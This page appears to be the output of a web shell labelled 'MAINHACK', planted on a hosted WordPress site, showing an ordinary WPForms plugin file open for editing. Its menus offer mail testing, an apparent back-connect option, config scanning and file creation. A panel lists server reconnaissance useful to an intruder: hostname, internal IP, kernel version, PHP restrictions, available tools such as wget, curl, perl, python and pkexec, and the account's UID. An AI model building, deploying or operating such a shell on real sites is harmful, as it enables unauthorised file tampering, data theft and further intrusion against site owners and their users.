[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: education.php
<?php /** * Helpers functions for the Education pages. * * @since 1.8.2.2 */ /** * Get the button. * * @since 1.8.2.2 * @since 1.9.6.1 Add $license_level parameter. * * @param string $action Action to perform. * @param bool $plugin_allow Is plugin allowed. * @param string $path Plugin file. * @param string $url URL for download plugin. * @param array $utm UTM parameters. * @param string $license_level License level. */ function wpforms_edu_get_button( $action, $plugin_allow, $path, $url, $utm, $license_level = '' ) { // If the user is not allowed to use the plugin, show the upgrade button. if ( ! $plugin_allow ) { wpforms_edu_get_upgrade_button( $utm, [], $license_level ); return; } $status = 'inactive'; $data_plugin = $path; $title = esc_html__( 'Activate', 'wpforms-lite' ); $can_install = wpforms_can_install( 'addon' ); if ( $action === 'install' ) { $status = 'download'; $data_plugin = $url; $title = esc_html__( 'Install & Activate', 'wpforms-lite' ); } ?> <?php if ( $action === 'install' && ! $can_install ) : ?> <div class="wpforms-notice wpforms-error"> <p><?php esc_html_e( 'Plugin installation is disabled for this site.', 'wpforms-lite' ); ?></p> </div> <?php else : ?> <button class="status-<?php echo esc_attr( $status ); ?> wpforms-btn wpforms-btn-lg wpforms-btn-blue wpforms-education-toggle-plugin-btn" data-type="addon" data-action="<?php echo esc_attr( $action ); ?>" data-plugin="<?php echo esc_attr( $data_plugin ); ?>"> <i></i><?php echo esc_html( $title ); ?> <?php endif; ?> <?php } /** * Get the upgrade button. * * @since 1.8.2.2 * @since 1.9.6.1 Add $license_level parameter. * * @param array $utm UTM parameters. * @param array $classes Classes. * @param string $license_level License level. */ function wpforms_edu_get_upgrade_button( $utm, $classes = [], $license_level = '' ) { $utm_medium = isset( $utm['medium'] ) ? $utm['medium'] : ''; $utm_content = isset( $utm['content'] ) ? $utm['content'] : ''; $default_classes = [ 'wpforms-btn', 'wpforms-btn-lg', 'wpforms-btn-orange' ]; $default_classes[] = ! wpforms()->is_pro() ? 'wpforms-upgrade-modal' : ''; $btn_classes = array_merge( $default_classes, (array) $classes ); $upgrade_button_label = esc_html__( 'Upgrade to WPForms Pro', 'wpforms-lite' ); if ( ! empty( $license_level ) && is_string( $license_level ) ) { $upgrade_button_label = sprintf( /* translators: %s: License name. */ esc_html__( 'Upgrade to WPForms %s', 'wpforms-lite' ), esc_html( ucfirst( $license_level ) ) ); } ?> <a href="<?php echo esc_url( wpforms_admin_upgrade_link( $utm_medium, $utm_content ) ); ?>" target="_blank" rel="noopener noreferrer" class="<?php echo esc_attr( implode( ' ', array_filter( $btn_classes ) ) ); ?>"> <?php echo esc_html( $upgrade_button_label ); ?> </a> <?php }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697